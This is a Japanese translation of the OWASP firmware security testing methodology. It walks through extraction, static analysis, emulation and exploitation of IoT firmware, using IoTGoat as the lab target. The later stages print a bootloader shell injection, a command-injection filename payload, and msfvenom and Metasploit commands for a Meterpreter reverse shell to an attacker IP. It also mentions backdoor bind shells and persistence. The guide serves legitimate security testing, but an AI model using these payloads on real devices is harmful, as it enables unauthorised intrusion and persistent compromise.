owasp fstm
1.0.0
| 説明 |
|---|
FSTM は、セキュリティ研究者、ソフトウェア開発者、愛好家、情報セキュリティ専門家がファームウェアのセキュリティ評価を実施できるように調整された 9 つのステージで構成されています。 |
ネットワークに接続されているかスタンドアロンであるかに関係なく、ファームウェアは組み込みデバイスの制御の中心となります。そのため、ファームウェアがどのように操作されて不正な機能が実行され、サポートされているエコシステムのセキュリティを損なう可能性があるかを理解することが重要です。セキュリティ テストとファームウェアのリバース エンジニアリングの実行を開始するには、次の評価に着手する際のガイダンスとして次の方法論を使用します。この方法論は、セキュリティ研究者、ソフトウェア開発者、コンサルタント、愛好家、情報セキュリティ専門家がファームウェアのセキュリティ評価を実施できるように調整された 9 つの段階で構成されています。
| ステージ | 説明 |
|---|---|
| 1. 情報収集と偵察 | ターゲットデバイスのファームウェアに関連するすべての関連技術およびドキュメントの詳細を取得します。 |
| 2. ファームウェアの入手 | リストされている提案された方法の 1 つ以上を使用してファームウェアを取得します |
| 3. ファームウェアの解析 | ターゲットファームウェアの特性を調べる |
| 4. ファイルシステムの抽出 | ターゲットファームウェアからファイルシステムの内容を切り出す |
| 5. ファイルシステムの内容の分析 | 抽出されたファイルシステム構成ファイルとバイナリの脆弱性を静的に分析します。 |
| 6. ファームウェアのエミュレーション | ファームウェアファイルとコンポーネントをエミュレートする |
| 7. 動的解析 | ファームウェアとアプリケーションインターフェイスに対して動的セキュリティテストを実行します。 |
| 8. 実行時分析 | デバイスの実行時にコンパイルされたバイナリを分析する |
| 9. バイナリの悪用 | 前の段階で発見された特定の脆弱性を悪用して、root やコードを実行します。 |
次のセクションでは、該当する場合はサポート例を示して各段階をさらに詳しく説明します。最新の方法論の更新と今後のプロジェクトのリリースについては、OWASP モノのインターネット プロジェクト ページと GitHub リポジトリにアクセスすることを検討してください。
このドキュメント全体で使用されるファームウェア テスト ツールを備えた事前構成済みの Ubuntu 仮想マシン (EmbedOS) は、次のリンクからダウンロードできます。 EmbedOS のツールの詳細については、GitHub の次のリポジトリ https://github.com/scriptingxss/EmbedOS で参照できます。
この段階では、ターゲットに関する可能な限り多くの情報を収集し、基盤となるテクノロジーの全体的な構成を理解します。以下のものを収集してみてください。
上記の情報は、セキュリティ テストのフィールドワークの前に、アンケートまたはアンケート フォームを通じて収集する必要があります。社内の製品ライン開発チームを確実に活用して、正確で最新のデータを取得します。適用されているセキュリティ制御、ロードマップ項目、既知のセキュリティ問題、および最も懸念されるリスクを理解します。必要に応じて、問題の特定の機能についてのフォローアップの詳細をスケジュールします。評価は協力的な環境で最も成功します。
可能な場合は、オープン ソース インテリジェンス (OSINT) のツールと技術を使用してデータを取得します。オープンソース ソフトウェアを使用する場合は、リポジトリをダウンロードし、コード ベースに対して手動および自動の両方の静的分析を実行します。オープンソース ソフトウェア プロジェクトでは、Coverity Scan や Semmle の LGTM などのスキャン結果を提供するベンダーが提供する無料の静的分析ツールをすでに使用している場合があります。たとえば、以下のスクリーンショットは、Das U-Boot の Coverity Scan 結果のスニペットを示しています。
番号 : U-Boot Coverity スキャン
番号 : U-Boot Coverity スキャン分析
以下は、LGTM の分析による Dropbear 結果のスクリーンショットです。
番号 : LGTM Dropbear アラート
番号 : LGTM Dropbear の結果
情報が手元にある場合は、軽度の脅威モデルの演習を実行して、侵害が発生した場合に最も価値を示す攻撃対象領域と影響範囲をマッピングする必要があります。
ファームウェアの内容の確認を開始するには、ファームウェア イメージ ファイルを取得する必要があります。次の 1 つ以上の方法を使用して、ファームウェアのコンテンツの取得を試みます。
*注意: 公開されたクラウド プロバイダーのストレージ サービスからデータをダウンロードする場合は、必ず現地の法律と規制に従ってください。
リストされている各方法は難易度が異なるため、完全なリストとはみなされません。プロジェクトの目的と参加ルールに応じて、適切な方法を選択してください。可能であれば、ファームウェアのデバッグ ビルドとリリース ビルドの両方をリクエストして、デバッグ コードまたは機能がリリース内でコンパイルされるイベントでのテスト カバレッジ ユース ケースを最大化します。
ファームウェア イメージを取得したら、ファイルの側面を調べてその特徴を特定します。次の手順を使用して、ファームウェアのファイル タイプ、潜在的なルート ファイルシステムのメタデータを分析し、コンパイル対象のプラットフォームについてさらに理解を深めます。
次のようなユーティリティを活用します。
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
上記のどの方法でも有用なデータが得られない場合は、次のことが考えられます。
バイナリが暗号化されている可能性がある場合は、次のコマンドで binwalk を使用してエントロピーを確認します。
$ binwalk -E <bin>
エントロピーが低い = 暗号化される可能性が低い
エントロピーが高い = 暗号化されている (または何らかの方法で圧縮されている) 可能性があります。
Binvis オンラインおよびスタンドアロン アプリケーションを使用して、代替ツールも利用できます。
この段階では、ファームウェアの内部を調べ、関連するファイルシステム データを解析して、可能な限り多くの潜在的なセキュリティ問題の特定を開始します。次の手順を使用して、次の段階で使用される未コンパイルのコードとデバイス構成を確認するためにファームウェアの内容を抽出します。自動抽出方法と手動抽出方法の両方を以下に示します。
$ binwalk -ev <bin>
ファイルは「 _binaryname/filesystemtype/ 」に抽出されます。
ファイルシステムの種類: squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs
2a.場合によっては、binwalk の署名にファイルシステムのマジック バイトが含まれていないことがあります。このような場合、binwalk を使用してファイルシステムのオフセットを見つけ、バイナリから圧縮ファイルシステムを切り出し、以下の手順を使用してタイプに応じてファイルシステムを手動で抽出します。
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b.次の dd コマンドを実行して、Squashfs ファイルシステムを分割します。
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
あるいは、次のコマンドを実行することもできます。
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. squashfs の場合 (上記の例で使用)
$ unsquashfs dir.squashfs
その後、ファイルは「 squashfs-root 」ディレクトリに作成されます。
2d。 CPIO アーカイブ ファイル
$ cpio -ivd --no-absolute-filenames -F <bin>
2f。 jffs2 ファイルシステムの場合
$ jefferson rootfsfile.jffs2
2d。 NAND フラッシュを備えた ubifs ファイルシステムの場合
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
この段階では、動的分析段階と実行時分析段階のための手がかりが収集されます。ターゲット ファームウェアに次のものが含まれているかどうかを調査します (すべてではありません)。
ファイルシステムの内容とアンコンパイルされたコードを手動で静的に分析するか、以下を解析するファームウォーカーなどの自動化ツールを活用してください。
次のサブセクションでは、オープンソースの自動ファームウェア分析ツールを紹介します。
~/tools/firmwalker のディレクトリ内でrmwalkerを実行し、抽出されたファイルシステムのルートディレクトリの絶対パスをfirmwalkerに指定します。 Firmwalker は、ルールの解析に "/data/" ディレクトリ内の情報を使用します。追加のチェックを備えて Aaron Guzman によって修正されたカスタム フォークは、GitHub (https://github.com/scriptingxss/firmwalker) にあります。次の例は、 OWASP の IoTGoat で使用されるrmwalker。その他の脆弱なファームウェア プロジェクトは、ドキュメントの最後にある「脆弱なファームウェア」セクションにリストされています。
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
以下のファームウォーカーの出力を参照してください。
farmwalker.txt と farmwalkerappsec.txt の 2 つのファイルが生成されます。これらの出力ファイルは手動で確認する必要があります。
幸いなことに、オープンソースの自動ファームウェア分析ツールが複数利用可能です。 FACT の機能には次のものが含まれます。
オペレーティング システム、CPU アーキテクチャ、サードパーティ コンポーネントなどのソフトウェア コンポーネントの識別と、それらに関連するバージョン情報
イメージからのファームウェア ファイルシステムの抽出
証明書と秘密鍵の検出
Common Weakness Enumeration (CWE) にマッピングされた弱い実装の検出
フィードとシグネチャに基づいた脆弱性の検出
基本的な静的動作分析
ファームウェアのバージョンとファイルの比較（diff）
QEMU を使用したファイルシステム バイナリのユーザー モード エミュレーション
NX、DEP、ASLR、スタック カナリア、RELRO、FORTIFY_SOURCE などのバイナリ緩和策の検出
REST API
さらに...
以下は、コンパニオンの事前構成済み仮想マシン内でファームウェア分析比較ツールキットを使用する手順です。
ヒント: FACT は 16 コア 64 GB RAM を搭載したコンピューターで実行することをお勧めしますが、このツールは少なくとも 4 コアと 8 GB の RAM があれば、かなり遅いペースで実行できます。スキャンの出力結果は、仮想マシンに割り当てられたリソースによって異なります。リソースが多いほど、FACT はスキャン送信をより速く完了します。
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
ブラウザで http://127.0.0.1:5000 に移動します
番号 : FACT ダッシュボード
分析のためにファームウェア コンポーネントを FACT にアップロードします。以下のスクリーンショットでは、圧縮された完全なファームウェアとそのルート ファイルシステムがアップロードされ、分析されます。
番号 : FACT アップロード
FACT に与えられたハードウェア リソースに応じて、分析結果が指定された時間にスキャン結果とともに表示されます。最小限のリソースが割り当てられている場合、このプロセスには数時間かかることがあります。
番号 : FACT IoTGoat
番号 : FACT IoTGoat エクスプロイト軽減結果
IDA Pro、Ghidra、Hopper、Capstone、または Binary Ninja を使用して、FACT から収集されたデータを使用して、疑わしいターゲット バイナリを逆アセンブルします。潜在的なリモート コード実行システム コール、文字列、関数リスト、メモリ破損の脆弱性のバイナリを分析し、system() または同様の関数呼び出しへの Xref を特定します。今後の手順で使用できる潜在的な脆弱性に注意してください。
次のスクリーンショットは、Ghidra を使用して逆アセンブルされた「シェルバック」バイナリを示しています。
番号 : シェルバック ギドラの分析
一般的なバイナリ分析は、次の内容の確認で構成されます。
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el 、16 ビット幅のリトルエンディアン文字 (UTF-16 など) を指定します。-eb使用します-tフラグは、ファイル内の文字列のオフセットを返します。-tx 16 進数形式で返し、T-to は 8 進数で、 -td 10 進数で返します。strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
「E」はスタックが実行可能であることを示します。
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELRO上記のバイナリ プロパティの多くのチェックを自動化するスクリプトは、checksec.sh です。以下に、スクリプトの使用例を 2 つ示します。
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
番号 : Checksec.sh
Microsoft バイナリ (EXE および DLL) の場合は、PESecurity を使用して ASLR、DEP、SafeSEH、StrongNaming、Authenticode、Control Flow Guard、および HighEntropyVA をチェックします。
EMBAは、ペネトレーション テスター向けのコア ファームウェア分析ツールとして設計されています。ファームウェアの抽出、静的分析、エミュレーションによる動的分析から始まり、さらなる分析のための Web ベースのレポートの生成まで、完全なセキュリティ分析プロセスをサポートします。 EMBA は1 つのコマンドで起動され、安全でないバイナリ、古くて古いソフトウェア コンポーネント、潜在的に脆弱なスクリプト、またはハードコードされたパスワードなど、テスト対象のファームウェアの潜在的な弱点や脆弱性を自動的に検出します。
EMBA の機能には次のようなものがあります。
EMBA はバックグラウンドで他の複数のツールを使用しています。必要なシステム リソースは、分析するファームウェアによって大きく異なります。通常、 EMBA は次の環境で非常にスムーズに動作します。
必要な環境をインストールするには、root 権限でインストール スクリプトを実行する必要があります。
sudo ./installer.sh -d通常のインストールを実行するには、インストーラーで-dスイッチを使用する必要があります。これにより、必要な依存関係 (cve-search など) がホストにインストールされ、 EMBA Docker イメージがダウンロードされます。初期インストールにはこれを使用することをお勧めします。
インストールプロセスが完了したら、コマンドラインからEMBA を使用してファームウェアのセキュリティ分析を行うことができます。 EMBA を開始する前に、OWASP IoTGoat ファームウェアなどのテスト ファームウェアをダウンロードしてください。次のコマンドは、一般的なEMBAコマンドを示しています。
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.emba示されているコマンドは、次の基本オプションを構成します。
さらにオプションが利用可能で、 ./emba.sh -hで表示できます。
すべてのファームウェア テストの最初のステップは、現在のインストールの健全性チェックです。
ヘルスチェックが成功すると、構成されたファームウェアの識別と抽出から分析プロセスが開始されます。
ファームウェアのテスト中、すべての結果と現在のステータスがターミナルにライブで表示されます。一般的なスキャンはスレッド モード ( -tパラメータ) で実行されるため、この出力は文字化けし、読みにくくなります。さらに分析するには、ログ ディレクトリに生成されたテキスト ベースのログ ファイルと Web レポート ( -Wパラメータ) を使用することをお勧めします。ファームウェアのスキャンが完了すると、 EMBA はターミナルに結果の概要を表示します。
さらなる結果はログ ディレクトリで入手でき、コマンド ラインまたは Web ブラウザ経由で分析できます。
firefox ~ /emba_logs_iotgoat/html-report/index.html
生成された HTML レポートは自己完結型であり、簡単に共有できます。さらに、このレポートは完全にインタラクティブであり、集約された概要ダッシュボードを通じてすべてのテストの詳細にアクセスできます。
詳細については、公式EMBA git リポジトリをご覧ください。
EMBArk は、ファームウェア セキュリティ スキャナEMBA用の Web ベースのエンタープライズ インターフェイスです。これは、ファームウェア セキュリティ アナライザーEMBA をコンテナ化されたサービスとして提供し、システムやオペレーティング システムに関係なく、ファームウェア スキャン バックエンドEMBAへのアクセスを容易にするために開発されました。
さらに、 EMBArk はさまざまなスキャン結果を集約管理ダッシュボードに集約することで、データ提供を改善します。
すべてのスキャンの詳細ページでは、ファームウェア スキャンの詳細レポートにアクセスし、さらなるテストを開始し、スキャン ログをダウンロードできます。
各ファームウェア テストの主な結果の詳細については、詳細レポートを参照してください。
詳細については、公式EMBArk git リポジトリで入手できます。
注: EMBARK は非常に初期の開発段階にあります。
前の手順で特定された詳細と手がかりを使用して、ファームウェアとそのカプセル化されたバイナリをエミュレートして、潜在的な脆弱性を確認する必要があります。ファームウェアをエミュレートするには、以下に示すいくつかのアプローチがあります。
/usr/bin/shellbackなどのファームウェアから抽出されたファイルシステムから派生したスタンドアロン バイナリのエミュレーションバイナリの部分的なエミュレーションを開始するには、次の手順で適切な QEMU エミュレーション バイナリを選択するために、CPU アーキテクチャとエンディアンを知っておく必要があります。
$ binwalk -Y <bin>
$ readelf -h <bin>
エル - リトルエンディアン
eb - ビッグエンディアン
Binwalk は、以下のコマンドを使用して、(抽出されたファームウェア内のバイナリからではなく) パッケージ化されたファームウェア バイナリのエンディアンを識別するために使用できます。
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
CPU アーキテクチャとエンディアンを特定したら、部分エミュレーションを実行するための適切な QEMU バイナリを見つけます (完全なファームウェアをエミュレートするためではなく、抽出されたファームウェアを含むバイナリをエミュレートします)。
通常、次の場所にあります。
/usr/local/qemu-archまたは/usr/bin/qemu-arch
該当する QEMU バイナリを抽出したルート ファイルシステムにコピーします。 2 番目のコマンドは、絶対パスを示す ZSH シェル内で抽出されたルート ファイルシステムに静的 arm QEMU バイナリをコピーすることを示しています。
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
次のコマンドで QEMU と chroot を使用してエミュレートする ARM バイナリ (または適切なアーチ) を実行します。
$ sudo chroot . ./qemu-arch <binarytoemulate>
次の例は、攻撃者のマシンが使用していると考えられる一般的な x64 アーキテクチャ内でエミュレートされた Busybox を示しています。
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
以下は、ポート 5515 でリッスンするサービスをエミュレートする例です。
> sudo chroot . ./qemu-arm-static usr/bin/shellback
また、同じサービスを qiling フレームワークでエミュレートすることもできます。
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
別の端末で、サービスがローカルでリッスンしているかどうかを確認し、netcat を使用して接続を試みます。
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
場合によっては、リクエストが HTTP サーバーによって CGI バイナリにディスパッチされることがあります。 CGIバイナリをエミュレートするだけで、HTTPサーバーを設置することなく処理手順の解析や脆弱性の検証が可能です。次の例では、MIPS CGI バイナリに GET リクエストを発行します。
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
ターゲット バイナリをエミュレートして、そのインタプリタまたはリスニング サービスと対話します。次のフェーズで説明するように、アプリケーションとネットワーク インターフェイスをファジングします。
可能であれば、firmadyne、ファームウェア分析ツールキット、ARM-X ファームウェア エミュレーション フレームワークなどの自動化ツールを使用して、ファームウェアの完全なエミュレーションを実行します。これらのツールは基本的に、QEMU および nvram などのその他の環境機能のラッパーです。
ファームウェア分析ツールキットを使用して、次のコマンドを実行するだけです。
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
注: ファームウェアに珍しい圧縮、ファイルシステム、またはサポートされていないアーキテクチャが含まれている場合、これらのツールの変更が必要になる場合があります。
この段階では、デバイスが通常の環境またはエミュレートされた環境で実行されている間に動的テストを実行します。この段階の目的は、プロジェクトと与えられるアクセスのレベルによって異なる場合があります。通常、これには、ブートローダー構成の改ざん、Web および API のテスト、ファジング (ネットワークおよびアプリケーション サービス) に加え、昇格アクセス (ルート) やコード実行を取得するためのさまざまなツールセットを使用したアクティブ スキャンが含まれます。
役立つ可能性のあるツールは次のとおりです (すべてではありません)。
OWASP のテスト ガイドやアプリケーション セキュリティ検証標準 (ASVS) などの業界標準の Web 手法を参照します。
組み込みデバイスの Web アプリケーション内で確認する必要がある具体的な領域は次のとおりです。
製品とそのアプリケーション インターフェイスに応じて、テスト ケースは異なります。
デバイスの起動や U-Boot などのブートローダーを変更する場合は、次のことを試してください。
init=/bin/sh 」を追加するなど、シェル コマンドを実行するように構成を変更します。#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py使用して uboot イメージを書き込み、変更されたファームウェアをプッシュして root を取得します'a";/bin/sh;#'などのコマンド インジェクション コマンドで「 FILENAME 」パラメータを変更して、デバイスの起動プロシージャの入力検証をテストします。*ハードウェアセキュリティテスト
カスタム ファームウェアやコンパイルされたバイナリをアップロードしようとすると、整合性または署名検証の欠陥が生じます。たとえば、次の手順を使用して、ブート時に開始されるバックドア バインド シェルをコンパイルします。
ルート シェルが動的分析、ブートローダー操作、またはハードウェア セキュリティ テスト手段からすでに取得されている場合は、インプラントやリバース シェルなど、プリコンパイルされた悪意のあるバイナリを実行しようとします。コマンド アンド コントロール (C&C) フレームワークに使用される自動ペイロード/インプラント ツールの使用を検討してください。たとえば、Metasploit フレームワークと「msfvenom」は、次の手順で利用できます。
msfvenom使用して、適切なターゲット ペイロード (-p)、攻撃者のホスト IP (LHOST=)、リスニング ポート番号 (LPORT=)、ファイル タイプ (-f)、アーキテクチャ (--arch)、プラットフォーム (--platform linux または windows) を指定します。 、および出力ファイル (-o)。たとえば、 msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -z可能であれば、起動スクリプト内の脆弱性を特定して、再起動後もデバイスへの永続的なアクセスを取得します。このような脆弱性は、起動スクリプトが SD カードやルート ファイル システム外のストレージ データに使用されるフラッシュ ボリュームなど、信頼できないマウント場所にあるコードを参照、シンボリック リンク、または依存する場合に発生します。
ランタイム分析には、デバイスが通常の環境またはエミュレートされた環境で実行されている間に、実行中のプロセスまたはバイナリにアタッチすることが含まれます。基本的なランタイム分析手順を以下に示します。
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>役立つ可能性のあるツールは次のとおりです (すべてではありません)。
前の手順でバイナリ内の脆弱性を特定した後、現実世界への影響とリスクを実証するために適切な概念実証 (PoC) が必要です。エクスプロイト コードの開発には、低レベル言語 (ASM、C/C++、シェルコードなど) でのプログラミング経験と、特定のターゲット アーキテクチャ (MIPS、ARM、x86 など) のバックグラウンドが必要です。 PoC コードには、メモリ内の命令を制御することにより、デバイスまたはアプリケーション上で任意の実行を取得することが含まれます。
組み込みシステム内でバイナリ ランタイム保護 (NX、DEP、ASLR など) が導入されることは一般的ではありませんが、これが発生すると、リターン指向プログラミング (ROP) などの追加の技術が必要になる場合があります。 ROP を使用すると、攻撃者はガジェットと呼ばれるターゲット プロセス/バイナリのコードに既存のコードを連鎖させることにより、任意の悪意のある機能を実装できます。 ROP チェーンを形成することで、バッファ オーバーフローなどの特定された脆弱性を悪用するための措置を講じる必要があります。このような状況に役立つツールは、Capstone のガジェット ファインダーまたは ROPGadget (https://github.com/JonathanSalwan/ROPgadget) です。
詳細なガイダンスについては、次の参考資料をご利用ください。
ファームウェアの評価全体を通じて、ツールを組み合わせて使用します。一般的に使用されるツールを以下に示します。
ファームウェアの脆弱性の発見を実践するには、開始点として次の脆弱なファームウェア プロジェクトを使用します。
フィードバックと貢献
この方法論を改善するために貢献またはフィードバックを提供したい場合は、[email protected] (@scriptingxss) までご連絡ください。必ず問題やプルリクエストを開いてください。私たちが必ず対応します。
スポンサーの Cisco Meraki、OWASP Inland Empire、OWASP Los Angeles と、慎重なレビューをしていただいた José Alejandro Rivas Vidal に心より感謝いたします。
貢献者の完全なリストは、https://github.com/scriptingxss/owasp-fstm/graphs/contributors でご覧いただけます。
ライセンス
Creative Commons Attributionは4.0 Internationalを共有します
